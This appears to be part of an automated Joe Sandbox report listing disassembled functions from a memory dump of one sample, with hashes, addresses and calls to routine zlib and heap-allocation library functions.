Opcode ID: 7fa2fe7af485097d124ecb1c83d282db3798b2b8bf00c0b9b22992e63171a607
Instruction ID: 4ef74c50cfea9b805315dc3ea684a71992e2d80b06d8f11d4b8729172090006f
Opcode Fuzzy Hash: 7fa2fe7af485097d124ecb1c83d282db3798b2b8bf00c0b9b22992e63171a607
Instruction Fuzzy Hash: BAF09FB42052009FE7848F25D5A87067AE0BB5831CF74999DD4488F292D3BBC95BCF95

Function 012D04F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7fbed0bd053ac9061b8f5465ff24288ceb3acde4f794c2ac407b658d1b8253c
Instruction ID: 4706fd39d96b2055d9e6a4a8b20c051ed812fe29588cf63c37bff6817ef72efc
Opcode Fuzzy Hash: e7fbed0bd053ac9061b8f5465ff24288ceb3acde4f794c2ac407b658d1b8253c
Instruction Fuzzy Hash: D8E025B41052009FD744CF18C564706BBE0AB59308F24899DE4488F242C3BBD9478F91

Function 012D0C70 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e606630475e14348432eee4044d4cd4341bb88edc74a4c394889f9940ae15b89
Instruction ID: 2eece19aea0ab9a0182c816c436adb4cc6c9b4e6ceb34046d0a291913fc3fe6d
Opcode Fuzzy Hash: e606630475e14348432eee4044d4cd4341bb88edc74a4c394889f9940ae15b89
Instruction Fuzzy Hash: C6E0FEB41052009BE788CF18C568702BAE0AB58308F34889DE0488F282D3BBC94BCF91

Function 012D20F0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb75edc9d9c2af6d561dd179a574316058f1093738e3d2fb34d0524fe001567d
Instruction ID: 4519dbcdd1b58779ef73d184113afc80ecb8c09a6e8afa31db2dfabdb7a9a133
Opcode Fuzzy Hash: bb75edc9d9c2af6d561dd179a574316058f1093738e3d2fb34d0524fe001567d
Instruction Fuzzy Hash: 80D0C7B09083819AE306CB1CC540A5177D06F55714F14D588DA845B253D336DC42C750

Function 012D2110 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3a21c7fb3c389693e3ab682d91a6c31bbc582a71fd63ee339bd5b52e8c025c7
Instruction ID: 85e853eab695f5960a06e3c6503bf5634bdb23a5a60d9f19c7eebb2c323ef4ca
Opcode Fuzzy Hash: d3a21c7fb3c389693e3ab682d91a6c31bbc582a71fd63ee339bd5b52e8c025c7
Instruction Fuzzy Hash: 04B092B1D087808AD306CF0CC040C55B3A0AFA5B10F11E684ADC86B222E735DD81C660

Function 012D2830 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 039d4416c18888f9baa381718c49933f03675b08b4cd88415358f1d66509cd3f
Instruction ID: a394edd02ba77224719b5de31c15850dbd8d768aa3a3717acdd231e3b2eceb96
Opcode Fuzzy Hash: 039d4416c18888f9baa381718c49933f03675b08b4cd88415358f1d66509cd3f
Instruction Fuzzy Hash: 64B092F19087808BD70ACF0CC040C95B3A0BFA5B00F21EA85EDC06B212E734DD42C620

Function 012D26A0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a09fb63f4bcff788b9cecb4f12ed996b04e5336b2a2c2a004e83f22e513e8c24
Instruction ID: 2148c15d917159411ab0046655487392d78a96ea7a4d7daa49ebdd6fcff50681
Opcode Fuzzy Hash: a09fb63f4bcff788b9cecb4f12ed996b04e5336b2a2c2a004e83f22e513e8c24
Instruction Fuzzy Hash: C6B012B1D0C7808AD3028B1CC000C55B3A0BFE1B00F10F744EDC029101E7348D41C210

Function 01835F90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

z_inflateInit_.OX7I8331HPIJ7S9YM876UXZCAF9K ref: 01835FD2

Part of subcall function 01826530: z_inflateInit2_.OX7I8331HPIJ7S9YM876UXZCAF9K(?,0000000F,?,?), ref: 0182653E

z_inflate.OX7I8331HPIJ7S9YM876UXZCAF9K(?,00000004,?,1.2.5,00000038), ref: 01835FE6
z_inflateEnd.OX7I8331HPIJ7S9YM876UXZCAF9K(?,?,?,1.2.5,00000038), ref: 01835FFA
z_inflateEnd.OX7I8331HPIJ7S9YM876UXZCAF9K(?,?,?,1.2.5,00000038), ref: 01836031

Strings

1.2.5, xrefs: 01835FBC

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID: z_inflate$Init2_Init_
String ID: 1.2.5
API String ID: 23497708-1624589015
Opcode ID: d5975690a1a1ae180f29a0dd61ff3aec7776cbb9e80571ed7c461dcb2c30b338
Instruction ID: 9d63e7c3280b5a81d6a71893b0fff026fa5dd29584ebf95277e38417cd86bbe7
Opcode Fuzzy Hash: d5975690a1a1ae180f29a0dd61ff3aec7776cbb9e80571ed7c461dcb2c30b338
Instruction Fuzzy Hash: E1114C76A04312ABC710DB6CD85168FFBE4AB94254F58492AFE98D3250F331DA44CB83

Function 01835EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

z_deflateInit_.OX7I8331HPIJ7S9YM876UXZCAF9K ref: 01835F0E

Part of subcall function 01829260: z_deflateInit2_.OX7I8331HPIJ7S9YM876UXZCAF9K(?,?,00000008,0000000F,00000008,00000000,?,?), ref: 01829278

z_deflate.OX7I8331HPIJ7S9YM876UXZCAF9K(?,00000004,?,?,1.2.5,00000038), ref: 01835F22
z_deflateEnd.OX7I8331HPIJ7S9YM876UXZCAF9K(?,?,?,?,1.2.5,00000038), ref: 01835F36
z_deflateEnd.OX7I8331HPIJ7S9YM876UXZCAF9K(?,?,?,?,1.2.5,00000038), ref: 01835F5B

Strings

1.2.5, xrefs: 01835EE4

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID: z_deflate$Init2_Init_
String ID: 1.2.5
API String ID: 3415894205-1624589015
Opcode ID: b965cdb72973840bb100b8b5f210fbc912218675806e289593d14424c1cb5d7e
Instruction ID: 17d465da25227c9653a4a8b51a8d0579c6716584d817951ae8756cc82c134994
Opcode Fuzzy Hash: b965cdb72973840bb100b8b5f210fbc912218675806e289593d14424c1cb5d7e
Instruction Fuzzy Hash: AF1121B6908311ABC701DF5CD841A4FBBE8AF89754F44492EFA98D7250E335DA44CB93

Function 013D39F0 Relevance: 6.1, APIs: 4, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42ef67bf98dd5335ef6b71dc1bb959d49b1c6ee28c63ab64e3253fa45669074b
Instruction ID: 168bce24e66681b958f8cc16df1b0fa421479e04e6f4b15f8a96aba88aa849f1
Opcode Fuzzy Hash: 42ef67bf98dd5335ef6b71dc1bb959d49b1c6ee28c63ab64e3253fa45669074b
Instruction Fuzzy Hash: 6731B172604646ABE714DF3DE0847AABBE4BF45328F04016AD50587E80D775F869C793

Function 018B7314 Relevance: 6.1, APIs: 4, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 018B7320

Part of subcall function 018B6A1E: __FF_MSGBANNER.LIBCMT ref: 018B6A35
Part of subcall function 018B6A1E: __NMSG_WRITE.LIBCMT ref: 018B6A3C
Part of subcall function 018B6A1E: RtlAllocateHeap.NTDLL(028D0000,00000000,00000001,?,?,?,?,012D19D9,00002000,?,?,012D10BB,?), ref: 018B6A61

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 079b703c35d83f689a21b4a68ca8c485213dbdf8ac424baad57192841705b24c
Instruction ID: 688e41194dfef9f28c22f02a7c3ccc9f56e930f5e5c722ebc2ec6b94ec78fcf5
Opcode Fuzzy Hash: 079b703c35d83f689a21b4a68ca8c485213dbdf8ac424baad57192841705b24c
Instruction Fuzzy Hash: EF112332506706AAEB223F7CAC856DE3B99AB59364F514129ED08DA381EA30C7808791

Function 013ACDD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 171
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

